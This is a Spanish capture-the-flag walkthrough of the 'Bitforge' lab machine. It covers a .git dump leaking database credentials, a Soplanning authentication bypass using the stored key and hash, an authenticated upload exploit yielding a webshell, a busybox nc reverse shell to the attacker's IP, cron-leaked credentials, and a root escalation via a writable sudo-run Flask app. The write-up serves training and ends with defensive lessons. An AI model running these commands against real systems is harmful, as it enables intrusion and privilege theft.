Bitforge
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El puerto 80 expone un.git/completo; al volcarlo y leer su historia (dump de repositorio .git, secretos en el historial) recuperamos las credenciales de la base de datos. En MySQL, la tablaplanning_userde Soplanning guarda el hash y lacle(clave secreta) del admin: Soplanning permite autenticarse con esa clave sin conocer la contraseña, así que entramos, fijamos una contraseña conocida y usamos el exploit de subida de fichero autenticada para RCE (subida de fichero a RCE) comowww-data. Unmysqldumpde un cron filtra la contraseña dejack(reutilización de credenciales); yjackpuede ejecutar porsudouna app Flask cuyoapp.pyes escribible (script sudo escribible), lo que da root.
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. SSH, un Apache que redirige a bitforge.lab y una MySQL 8.
ping -c 1 192.168.148.186
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.148.186PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysqlnmap -p22,80,3306 -sCV 192.168.148.186 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5
80/tcp open http Apache httpd
| http-git:
| 192.168.148.186:80/.git/
| Git repository found!
|_ Last commit message: created .env to store the database configuration
|_http-title: Did not follow redirect to http://bitforge.lab/
3306/tcp open mysql MySQL 8.0.40-0ubuntu0.24.04.1El http-title avisa de que el servidor redirige a http://bitforge.lab/, un nombre que nuestro sistema todavía no sabe resolver:

Lo añadimos a /etc/hosts:
echo '192.168.148.186 bitforge.lab' | sudo tee -a /etc/hostsUn fuzzing de vhosts busca si esa misma IP sirve más sitios según el nombre que se pida en la cabecera Host::
wfuzz -L -u 'http://bitforge.lab' -H 'Host: FUZZ.bitforge.lab' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hc 400
Target: http://bitforge.lab/
Total requests: 19966
ID Response Lines Word Chars Payload
000002117: 200 149 L 1034 W 17084 Ch "plan"De casi 20.000 candidatos solo sobrevive uno: plan, con una respuesta de 17084 caracteres que no se parece a la del comodín (por eso --hc 400 basta aquí para limpiar el ruido). Añadimos también plan.bitforge.lab al /etc/hosts, y ahí aparece el segundo sitio: un Simple Online Planning, con la versión escrita al lado del título. Ese número, 1.52.01, es el que marca el resto de la máquina.

HTTP - TCP 80: repositorio .git expuesto
El propio nmap ya avisa: hay un .git/ servido por Apache. dirsearch lo confirma junto a un /login.php:
dirsearch -u http://bitforge.lab/ --exclude-status=404,403 -t 200[00:57:39] 200 - 0B - /.env
[00:57:39] 301 - 233B - /.git -> http://bitforge.lab/.git/
[00:57:39] 200 - 553B - /.git/
[00:57:39] 200 - 49B - /.git/COMMIT_EDITMSG
[00:57:39] 200 - 150B - /.git/config
[00:57:39] 200 - 770B - /.git/logs/HEAD
[00:57:40] 200 - 502B - /.git/objects/
...
[00:57:58] 200 - 2KB - /login.php
[00:58:06] 301 - 235B - /static -> http://bitforge.lab/static/Dos detalles que orientan el resto: el .git/ está entero (no solo el HEAD, también objects/, que es donde vive el contenido de los commits) y el /.env responde 0B, es decir, existe pero está vacío. Un .env vacío por web no significa que nunca tuviera nada: significa que hay que mirar la historia.
Dump del .git y secretos en el historial
Para reconstruir el repositorio usamos git-dumper (repo), que descarga los objetos del .git/ expuesto y rehace el árbol en local:
git clone https://github.com/arthaud/git-dumper
cd git-dumper
pip3 install -r requirements.txt --break-system-packages
Requirement already satisfied: PySocks in /usr/lib/python3/dist-packages (from ...)
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from ...)
Requirement already satisfied: beautifulsoup4 in /usr/lib/python3/dist-packages (from ...)
...Con la herramienta lista, volcamos el repositorio y revisamos su historia (dump de repositorio .git). El .env actual está vacío, pero un commit anterior borraba un db-config.php "por credenciales hardcodeadas": borrar un fichero en un commit posterior no lo saca del historial, así que esas credenciales siguen ahí (secretos en el historial):
python3 git_dumper.py http://bitforge.lab/ .
ls -la
cd .git && ls
total 84
-rw-r--r-- 1 root root 0 Feb 28 00:37 .env
drwxr-xr-x 7 root root 4096 Feb 28 00:37 .git
-rw-r--r-- 1 root root 1045 Feb 28 00:34 .gitignore
-rw-r--r-- 1 root root 1071 Feb 28 00:34 LICENSE
-rw-r--r-- 1 root root 2397 Feb 28 00:34 README.md
-rwxr-xr-x 1 root root 25287 Feb 28 00:34 git_dumper.py
-rw-r--r-- 1 root root 9110 Feb 28 00:37 index.php
-rw-r--r-- 1 root root 5440 Feb 28 00:37 login.php
-rw-r--r-- 1 root root 85 Feb 28 00:34 pyproject.toml
-rw-r--r-- 1 root root 55 Feb 28 00:34 requirements.txt
-rw-r--r-- 1 root root 721 Feb 28 00:34 setup.cfg
COMMIT_EDITMSG HEAD config description hooks index info logs objects refsEl .env reconstruido llega igual de vacío que por web (0 bytes), pero el .git/ sí trae objects/ y logs/, que es donde vive la historia. Con eso ya se puede leer commit a commit:
git log -p
$dbHost = 'localhost';
$dbName = 'bitforge_customer_db';
$username = 'BitForgeAdmin';
$password = 'B1tForG3S0ftw4r3S0lutions';Explotación
MySQL - TCP 3306: la tabla planning_user
Con BitForgeAdmin/B1tForG3S0ftw4r3S0lutions entramos a la MySQL expuesta:
mysql -u BitForgeAdmin -h 192.168.148.186 -p --skip-ssl
show databases;
use soplanning;
MySQL [(none)]> show databases;
+----------------------+
| Database |
+----------------------+
| bitforge_customer_db |
| information_schema |
| performance_schema |
| soplanning |
+----------------------+
4 rows in set (0.032 sec)
MySQL [(none)]> use soplanning;
Database changedLa base soplanning confirma el software que ya anunciaba el subdominio (Simple Online Planning). Sus trece tablas llevan el prefijo planning_, y la que interesa salta a la vista:
show tables;
select * from planning_user;
+----------------------------+
| Tables_in_soplanning |
+----------------------------+
| planning_audit |
| planning_config |
| planning_ferie |
| planning_groupe |
| planning_lieu |
| planning_periode |
| planning_projet |
| planning_projet_user_tarif |
| planning_ressource |
| planning_right_on_user |
| planning_status |
| planning_user |
| planning_user_groupe |
+----------------------------+
13 rows in set (0.034 sec)El select * es tan ancho que resulta ilegible (la tabla pasa de veinte columnas), pero deja ver lo esencial: la fila ADM es la única con login y password, y existe una columna cle. Repetimos la consulta pidiendo solo esas tres:
select login,password,cle from planning_user;
MySQL [soplanning]> select login,password,cle from planning_user;
+-------+------------------------------------------+----------------------------------+
| login | password | cle |
+-------+------------------------------------------+----------------------------------+
| admin | 77ba9273d4bcfa9387ae8652377f4c189e5a47ee | dbee8fd60fd4244695084bd84a996882 |
| NULL | NULL | 181ba036234dcccd78a2c7f540928a0f |
| NULL | NULL | bdcf6ee6918de4347aa34b7b533119d9 |
| NULL | NULL | cb284acc53164275d8cbb61fb090daf8 |
| NULL | NULL | 2eb523102046905d137e264e1eda0a43 |
+-------+------------------------------------------+----------------------------------+
5 rows in set (0.031 sec)Solo admin tiene login y contraseña; las otras cuatro filas son plantillas de usuario sin credenciales. Lo llamativo es que todas tienen cle, así que esa columna no es un resto de un usuario concreto sino parte del modelo de la aplicación. Merece la pena averiguar para qué la usa.
Soplanning: bypass de autenticación con la clave secreta (cle)
Soplanning es software libre, así que en vez de suponer qué hace con la cle se puede leer: el fichero www/process/login.php del repositorio oficial tiene, en la rama del login clásico, un segundo intento cuando el primero falla:

} else {
// classic login
$pwd = $user->hashPassword($_POST['password']);
if(!$user->db_load(array('login', '=', $_POST['login'], 'password', '=', $pwd))) {
if(!$user->db_load(array('login', '=', $_POST['login']))){
$_SESSION['message'] = 'erreur_bad_login';
header('Location: ../index.php');
exit;
}
$pwd2 = $user->cle . "|" . $user->password;
if($_POST['password'] != $pwd2){
$_SESSION['message'] = 'erreur_bad_login';
header('Location: ../index.php');
exit;
}
}Ahí está el mecanismo completo, y es más concreto que "hay un login alternativo": si la contraseña normal no cuadra, la aplicación construye $pwd2 como cle + | + hash de la contraseña y compara el campo enviado contra esa cadena tal cual, sin hashearla. Es una vía pensada para enlaces de acceso directo, pero convierte los dos valores que acabamos de leer en la base de datos en una credencial válida: no hace falta romper el SHA-1, basta con enviarlo.
Interceptamos el POST del login con Burp y sustituimos el campo password por esa concatenación:

POST /www/process/login.php HTTP/1.1
Host: plan.bitforge.lab
Content-Type: application/x-www-form-urlencoded
login=admin&password=dbee8fd60fd4244695084bd84a996882|77ba9273d4bcfa9387ae8652377f4c189e5a47eeEntramos como admin (ADM) sin conocer la contraseña. Como el exploit del siguiente paso sí pide una contraseña normal, desde Edit your profile le fijamos una conocida (admin):

Alternativa: fabricar el hash y sustituirlo en la base de datos
El bypass con la cle no es la única puerta. Si en vez de esquivar la contraseña se prefiere cambiarla directamente en la base de datos (a la que ya tenemos acceso de escritura), hace falta el hash en el formato exacto que espera la aplicación. Y ahí está el matiz: no es un SHA-1 pelado.

public function hashPassword($password){
return sha1("□" . $password . "□");
}Los dos caracteres que envuelven la contraseña no son ASCII y el editor los pinta como un recuadro, así que un echo -n admin | sha1sum nunca va a coincidir. La forma fiable de obtener el valor correcto es dejar que lo calcule la propia aplicación: se clona el repositorio oficial, se comentan en config.inc las líneas que redirigen al instalador cuando no hay base de datos, y se escribe un test.php que llame a hashPassword.
git clone https://github.com/Worteks/soplanning
cd soplanning
nano config.inc # comentar el bloque checkDBAccess / checkDatabaseVersion
nano test.php<?php
define('BASE', 'www');
require BASE . '/../config.inc';
$password = "admin";
// generate the weirdass hash
$user = new User();
$hashedPassword = $user->hashPassword($password);
echo "The hash of '$password' is: $hashedPassword";
?>php test.php
The hash of 'admin' is: df5b909019c9b1659e86e0d6bf8da81d6fa3499eCon el hash correcto, un UPDATE sobre planning_user cambia la contraseña del usuario ADM:
UPDATE planning_user SET password = 'df5b909019c9b1659e86e0d6bf8da81d6fa3499e' WHERE user_id = 'ADM';
MySQL [soplanning]> UPDATE planning_user SET password = 'df5b909019c9b1659e86e0d6bf8da81d6fa3499e' WHERE user_id = 'ADM';
Query OK, 1 row affected (0.034 sec)
Rows matched: 1 Changed: 1 Warnings: 0A partir de ahí el login es el de toda la vida, admin:admin:


Y hay un atajo al atajo: ni siquiera hace falta ejecutar el PHP, porque el repositorio oficial trae el hash de admin escrito en sus datos de demostración.
git clone https://github.com/Worteks/soplanning
cd soplanning
cat includes/demo_data.inc | grep -i pass
$userAdmin->password = 'df5b909019c9b1659e86e0d6bf8da81d6fa3499e';
MySQL [soplanning]> UPDATE planning_user SET password = 'df5b909019c9b1659e86e0d6bf8da81d6fa3499e' WHERE user_id = 'ADM';
Query OK, 0 rows affected (0.030 sec)
Rows matched: 1 Changed: 0 Warnings: 0El 0 rows affected con Rows matched: 1 es la prueba de que el valor ya estaba puesto por el intento anterior: la fila existe y coincide, pero no hay nada que cambiar.
Soplanning 1.52.01: subida de fichero autenticada a RCE
Con el producto y la versión en la mano, buscamos exploit público (de la versión al exploit):
searchsploit 'soplanning'
Exploit Title | Path
--------------------------------------------------------------------------+---------------------------
SOPlanning 1.45 - 'by' SQL Injection | php/webapps/48074.txt
SOPlanning 1.45 - 'users' SQL Injection | php/webapps/48089.txt
SOPlanning 1.45 - Cross-Site Request Forgery (Add User) | php/webapps/48086.txt
SOPlanning 1.52.01 (Simple Online Planning Tool) - Remote Code Execution | php/webapps/52082.py
(RCE) (Authenticated) |Las tres primeras son de la 1.45 y no aplican; la cuarta coincide con nuestra versión y es justo lo que teníamos: autenticada, que es la razón de haber necesitado el bypass anterior. La copiamos y la lanzamos (subida de fichero a RCE):
searchsploit -m php/webapps/52082.py
python3 52082.py -t http://plan.bitforge.lab/www/ -u admin -p admin
[+] Uploaded ==> File 'u62.php' was added to the task !
[+] Exploit completed.
Access webshell here: http://plan.bitforge.lab/www//upload/files/bdselx/u62.php?cmd=<command>
Do you want an interactive shell? (yes/no) yes
soplaning:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)Tanto el nombre del .php como el directorio bajo upload/files/ son aleatorios en cada ejecución, así que no sirve de nada apuntarlos: hay que leerlos de la salida del exploit.
El exploit deja una webshell y ofrece una pseudo-shell interactiva, pero esa shell va comando a comando por HTTP. Para trabajar cómodos la cambiamos por una reverse shell real. Antes de lanzarla dejamos Penelope a la escucha en el 80 (un nc -nlvp 80 con rlwrap sirve igual):
penelope
(Penelope)> listeners add -p 80Y desde la pseudo-shell disparamos la conexión de vuelta. Se usa busybox nc porque el nc del sistema suele venir sin la opción -e, mientras que el applet de busybox sí la trae:
busybox nc 192.168.45.159 80 -e bash
[+] Listening for reverse shells on 0.0.0.0:80
[+] Got reverse shell from BitForge~192.168.148.186-Linux-x86_64 😍 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/bin/python3! 💪
www-data@BitForge:/var/www/plan.bitforge.lab/public_html/www/upload/files/3mc80s$ whoami
www-dataEjecución como www-data, y con PTY, que es lo que permite lo que viene después.
Pivote de usuarios
Contraseña filtrada por un cron (pspy)
Como www-data no hay nada obvio, así que toca mirar qué ocurre en la máquina con el tiempo: un proceso periódico (un cron) no aparece en un ps puntual porque vive unos milisegundos. Para verlos usamos pspy (repo), que no necesita ser root porque se limita a leer /proc. El binario no está en la máquina, así que lo servimos desde la nuestra:
# en el atacante
locate pspy64
cp /home/krmena/tools/pspy64 .
python3 -m http.server 3306
/home/krmena/Downloads/pspy64
/home/krmena/tools/pspy64
/machines/late/content/pspy64
/machines/pandora/pspy64
Serving HTTP on 0.0.0.0 port 3306 (http://0.0.0.0:3306/) ...# en la víctima
wget http://192.168.45.159:3306/pspy64
chmod +x pspy64
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
Config: Printing events (colored=true): processes=true | file-system-events=false
Draining file system events due to startup ...
done
2026/02/28 17:09:30 CMD: UID=33 PID=2424 | ./pspy64
2026/02/28 17:09:30 CMD: UID=33 PID=2307 | bash
2026/02/28 17:09:30 CMD: UID=33 PID=2306 | sh -c -- busybox nc 192.168.45.159 80 -e bash
2026/02/28 17:09:30 CMD: UID=33 PID=2264 | /bin/bash -iLa primera foto ya es didáctica: entre los procesos se ve nuestra propia intrusión (el busybox nc 192.168.45.159 80 -e bash y el bash -i), lo que confirma que pspy lee las líneas de comando completas de todo el sistema, no solo las nuestras. Al rato aparece lo que buscábamos: un cron que hace mysqldump con la contraseña en la propia línea de comandos, visible para cualquier proceso del sistema:

UID=0 ... /bin/sh -c mysqldump -u jack -p'j4cKF0rg3@445' soplanning >> /opt/backup/soplanning_dump.logLa contraseña j4cKF0rg3@445 sirve para el usuario jack (reutilización de credenciales):
su jack # j4cKF0rg3@445
www-data@BitForge:/tmp$ su jack
Password:
jack@BitForge:/tmp$ whoami
jackLocal
cat local.txt && whoami && ip a && hostname
b823a27526f050899c2533772fb45cf4
jackEscalada de privilegios
sudo sobre una app Flask con app.py escribible
Lo primero como usuario nuevo es mirar qué le deja hacer sudo:
sudo -lMatching Defaults entries for jack on bitforge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, !env_reset
User jack may run the following commands on bitforge:
(root) NOPASSWD: /usr/bin/flask_password_changerUn único binario, como root y sin contraseña. No es un intérprete conocido de GTFOBins, así que hay que leer qué hace:
cat /usr/bin/flask_password_changer#!/bin/bash
cd /opt/password_change_app
/usr/local/bin/flask run --host 127.0.0.1 --port 9000 --no-debugAhí está la grieta: el script no ejecuta nada peligroso por sí mismo, pero flask run importa el app.py del directorio al que acaba de entrar. Si ese fichero es escribible por nosotros, el código que se ejecuta como root lo ponemos nosotros. Lo comprobamos:
ls -l /opt/password_change_apptotal 12
-rw-r--r-- 1 jack jack 182 Feb 28 17:18 app.py
drwxr-xr-x 2 root root 4096 Feb 28 17:18 __pycache__
drwxr-xr-x 2 jack jack 4096 Jan 16 2025 templatesapp.py es de jack, así que se puede editar (script sudo escribible). Le insertamos un os.system que ponga el SUID a /bin/bash y lanzamos el script por sudo:
nano /opt/password_change_app/app.py
cat /opt/password_change_app/app.pyfrom flask import Flask, render_template
import os
os.system("chmod u+s /bin/bash")
app = Flask(__name__)
@app.route("/")
def home():
return render_template("index.html")sudo /usr/bin/flask_password_changer * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://127.0.0.1:9000
Press CTRL+C to quitEl servidor arranca (y se queda ahí, se corta con Ctrl+C), pero el daño ya está hecho: el os.system se ejecutó como root en el momento de importar el módulo, antes de servir nada. Se comprueba en los permisos del binario:
ls -l /bin/bash
bash -p
whoami
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
bash-5.2# whoami
rootLa s en -rwsr-xr-x es el bit SUID: el binario se ejecuta con el propietario (root), no con quien lo lanza. Y bash -p conserva ese euid=0 heredado en lugar de descartarlo, que es lo que bash hace por defecto al arrancar, dándonos root.
Proof
cat /root/proof.txt && whoami && ip a && hostname
cde9a2fc9485dddf29585529f596b4dc
rootCadena de ataque
HTTP 80 -- .git/ expuesto -> git-dumper -> git log -p
│ historial: db-config.php -> BitForgeAdmin : B1tForG3S0ftw4r3S0lutions
▼
MySQL 3306 -- planning_user: admin cle=dbee8fd6...
│ Soplanning: login con la cle (bypass) -> fijar password=admin
│ Soplanning 1.52.01: subida autenticada (52082.py) -> webshell
▼
www-data
│ pspy -> cron mysqldump -p'j4cKF0rg3@445' -> su jack
▼
jack (local.txt)
│ sudo flask_password_changer -> app.py escribible -> chmod u+s /bin/bash
▼
root (proof.txt)Lecciones aprendidas
- Un
.git/servido es tu código y tu historia. Aunque el.envestuviera vacío,git log -presucitó undb-config.phpcon credenciales borradas. Borrar un secreto en un commit posterior NO lo elimina del historial; hay que rotarlo y limpiar el árbol. - Una clave de "login seguro" es una contraseña. La
clede Soplanning permitía entrar sin conocer la contraseña; guardarla en claro en la base de datos la vuelve tan sensible como el propio hash. - No pases contraseñas por la línea de comandos. El
mysqldump -p'j4cKF0rg3@445'del cron era visible para cualquier proceso;~/.my.cnfo variables de entorno lo evitan. - Un
sudosobre un intérprete que importa código escribible es root. Si Flask importa unapp.pyque el usuario puede editar y el script corre como root, controla root. El código ejecutado por privilegio debe ser solo-escritura para administradores.